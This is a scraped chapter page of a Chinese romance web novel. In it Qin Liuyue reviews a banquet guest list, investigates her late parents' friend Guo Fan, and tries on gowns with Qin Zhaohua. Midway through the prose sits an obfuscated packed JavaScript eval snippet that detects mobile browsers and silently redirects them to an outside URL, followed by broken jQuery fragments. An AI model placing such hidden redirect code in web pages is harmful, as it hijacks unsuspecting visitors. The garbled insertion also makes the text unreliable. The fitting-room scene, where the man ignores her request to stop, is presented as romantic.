默认冷灰
24号文字
方正启体

2. 风雪夜归人

作者:烤乳鸽脆皮的好吃本书字数:K更新时间:
    翌日上午,厚厚一叠打印纸落在秦流月手里,她不由苦笑。


    刚刚管家来过,将这沓档案给她,嘱咐她最好背下来。


    纸上是晚宴出席名单,每个人下面都有简单的介绍,例如家庭背景和从事行业。


    给她这些估计是怕她到时在晚宴上尴尬。


    纸上第一个就是秦昭华。


    上下看去,他的介绍是最多的。


    秦氏继承人,副总裁。又是全国青年企业家协会,各种先进带头人,往后才是大大小小的奖项。


    看来这些年他过的挺好。


    秦流月目光黯淡了一些,却并未往心里去。


    往后翻阅,她偶尔能看到几个熟悉的名字,多是小时候认识,父母曾带她见过。


    浏览着,一个极为亲切的名字映入眼帘。


    郭帆:国内生物技术行业牵头人,如今退居二线。


    相比其他人长长的介绍,这个人的显得格外简短。


    这个叫郭帆的,秦流月很是熟识,曾经和爸妈关系很好,小时候还经常带她玩。


    能和当年的宁家扯上关系的,定不是什么小人物,这倒是与这短短的介绍不太匹配。


    眯着眼睛思索了一会,她打开电脑搜索,同时给宋暮打去了电话。


    “宋暮,你有没有听说过郭帆。”


    “嗯,好像有点耳熟。”


    对面的人好像还没睡醒,说话声音混沌,打了个大大的哈欠。


    “他是我爸妈以前老朋友,搞生物技术的,你家不是也在这有涉猎,帮我问问。”


    “行,那你要等等。”


    挂断对那边迷糊的声音,眼前的网页也加载出来。


    关于他的报道几乎都是在许多年前,只有模糊不清的画质。


    她花了半个小时,把能找到所有资料查阅一遍。


    郭帆最后一次露面是在她父母的葬礼上,往后就只有几篇有他挂名的论文发表,再无其他。


    秦流月皱了皱眉,感到有些不可思议。


    他们这样的人,年龄到了退居二线很正常,可那时的他才四十出头,无论对于企业家还是科研人员,都算是正值壮年。


    打开手机,宋暮的资料十分钟之前就发了过来。


    她这人平时看着不着调,关键时候还是很靠谱。


    几个文件很大,光下载就要了她好一会,打开里面的文字更是密密麻麻。


    秦流月大概整理了,发现一切的节点就在宁家倒台时,自打倒台后,他就不再有风声。


    兴许,他对于她父母的死知道些什么。


    那年宁家两夫妇身亡可是个大新闻,可媒体对他们的死因完全保密,甚至连她这个做女儿的都知之甚少。


    后来出国后,她偶然听到一些风声,说宁家夫妇死的不寻常,等她去追问,对方又说不出个所以然来。


    这便成了宁流月的一块心结。此次回国,她为的就是这真相。


    正当她苦苦沉思时,房门突然被叩响。


    “秦小姐,早饭准备好了,吃完出发去挑礼服。”


    当秦流月穿着拖鞋下楼,餐桌前却只坐着秦昭华,秦家夫妇或许是有事,已经出门了。


    偌大的桌子上只有两个人,有些尴尬。


    秦流月对着桌上的牛奶麦片和沙拉,脑袋一片晕乎。


    在英国那会她已经吃够了白人饭,回国只想吃点热乎乎的油条包子。


    “我现在没什么胃口,能不能先去试衣服。”


    “可以的小姐,送您的车已经停在门口了。”


    管家小姐指了指门外一辆七座商务车。


    往外看了一眼,她没再多犹豫,打开大门。


    “你就穿这个去。”身后那位沉默的男士忽然开口。


    秦流月回过头。只见秦昭华一手支在下巴上,目光凛凛落在她的睡裙上。


    这件虽是睡裙,但看起来和常服没什么不同,所以她觉得并无不妥。


    “怎么了。”


    “怕我们大小姐被冻死。”


    他走近,一件黑色大衣被披在她身上。


    门外的冷风呼呼吹进房间,撩动眼前人的发丝,可秦流月却感受不到一点寒意。


    “你倒是很关心我,每天怕我死。”


    她撇了撇嘴角,开始冷嘲热讽,却默许了他披过来的衣服。


    外套上附着着热意,有一股淡淡的黑加仑香气,酸甜带着些水生调。


    有点好闻。


    “怎么还脸红了,不会是因为我。”


    “热的。”


    秦流月看了他一眼,冷冷回复,不想和此人再纠缠下去。


    一开门,凛冽寒风扑到她脸上,很刺骨。


    她下意识地”嘶“了一声,定在原地。但为了圆为了自己逞能的那句“热”,她还是硬着头皮走了出去。


    身后传来一声轻笑。


    秦昭华眉眼间笑意甚浓。


    她小时候就爱逞能,不止一次把自己冻感冒过,这么多年了,这毛病还是改不掉。


    抬手看了一眼表,虽然时间还早,但若是秦流月不在,他也不想孤零零呆在这房子里。


    干脆,他和秦流月一起上了车。


    车驶入了一个郊区的小洋房,据说这里是某个设计师的个人工作室。


    小洋房坐落于一个花园内,里面似乎种的是常绿植物,白雪的缝隙下仍透出几分绿意。


    “少爷小姐,这里走。”


    洋房内走出一个身着工作服的男人,将他们引入了一个房间。


    房间里挂着三套礼服,男女共六件。


    “礼服我们总共准备了三套,两位可自行挑选,选好后尺寸若有不对的地方我们会再改。”


    秦流月大致浏览那三款女式礼服,目光瞬间就被黑色那套吸引。


    黑色那套是一字肩长裙,缎面质感,柔光打上去像绵绵水波荡漾,造型简单却引人注目。


    “这件好看。”她走到黑色礼服前打量起来,抬头征求秦昭华的意见。


    他插着口袋在一旁,也不回复,只是看着她笑。


    她的身上还是他的那件大衣,披在她的身上像床单,太大了,活似小孩偷穿大人衣服。


    此时,大衣里冒出的脑袋正饶有兴趣盯着他。


    “笑什么。”


    “笑你可爱。”


    “去你的。”


    秦流月无语踹了他一脚,被他笑嘻嘻地躲过。


    这一幕似乎与八年前重合,在一个明媚的午后,他的脸迎着光。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126477|196098||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对视间,他们似乎都看见了那曾经共有的记忆。


    “我先去试衣服。”秦流月目光暗淡下来,轻声道。


    她猛然意识到他们已经不是小时候了,他们的关系早已不那般纯粹。


    秦流月把那件黑色礼服拿下,转身走进试衣间。


    礼服的触感细腻,很贴合她的身材,尺寸刚好。


    她望着镜子里的自己。黑色长发一边搭在肩前,一边撩在脑后,简约的设计更衬人的气质。


    对着镜子转了一圈,她这才发现身后还有几段飘带没系上。


    这件礼服背后是镂空设计,飘带刚好可以点缀。


    她将手背到身后摆弄起那飘带,可总是系的歪歪斜斜。


    “秦昭华,能过来一下吗。”


    “怎么了。”


    脚步由远及近,停在了试衣间门口。


    试衣间前酒红色的帘子微微飘荡,好像能从中看到里面人的身形,长腿细腰,身段标致。


    “可能要你帮我系一下。”


    酒红色的帘子里忽地冒出一个精致的面庞,水色眸子望着他,询问道。


    他的喉结滚动了一下,掐灭了脑中幻想,面色如常。


    “哪边。”


    帘子被里面人完全拉开,秦昭华这才看见她穿着礼服的全貌。


    黑色衣料勾勒出她曼妙的曲线,庄重大气,只是后面的飘带散落,有些凌乱。


    见此,不用秦流月多说,秦昭华单膝跪在她的身后,细细帮她系起飘带。


    待他凑近她的后腰,他甚至能闻到一丝香气,不是香水,更像是···体香。


    他感受到自己微凉的指腹,无意间划过她炽热的肌肤,每一下,都会引起眼前人微微战栗。


    试衣间狭小,由此显得气氛更加稠热,飘带越系越往上,他也靠她越来越近。


    “我自己可以。”


    秦流月明显感觉到氛围不对劲,出声要制止。


    身后人却装作没听见,反而又紧了紧飘带。


    见反抗无效,她也只能作罢,被迫感受着他致命的鼻息舔舐着她的背。


    镜子的边缘渐渐泛起水汽,秦流月能从镜子里看到他的脸。


    他的脸上好像没什么表情,但低垂的睫毛,微蹙的浓眉,以及眸中直勾勾的眼神,在秦流月眼中都莫名其妙散发着欲色。


    她咽了咽口水,赶快移开了视线。


    也真是疯了,什么时候变得这么贪恋美色,那年陪宋暮在国外看猛男肌肉秀也没见如此。


    大脑虽一直控制自己挪开视线,但她的余光却一直注意着镜子里的人脸,直到水汽越来越浓重,他的脸隐没在一片模糊中。


    衣料摩擦声,呼吸声,不整的衣衫,有意无意地触碰,一切都彰显着暧昧。


    门忽然被叩响,两人来不及反应,方才的男人就走进来。


    “我找到了几件相配的披肩,但不过不是定做的。”


    他拿着几件披肩走进房间,却发现秦昭华站在试衣间门口,门口衣架上挂着秦流月脱下的睡裙。


    “不好意思打扰了。”


    他立刻又退了出去。


    他似乎误会了什么。


    秦流月心跳空了一拍,恍然看向秦昭华。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)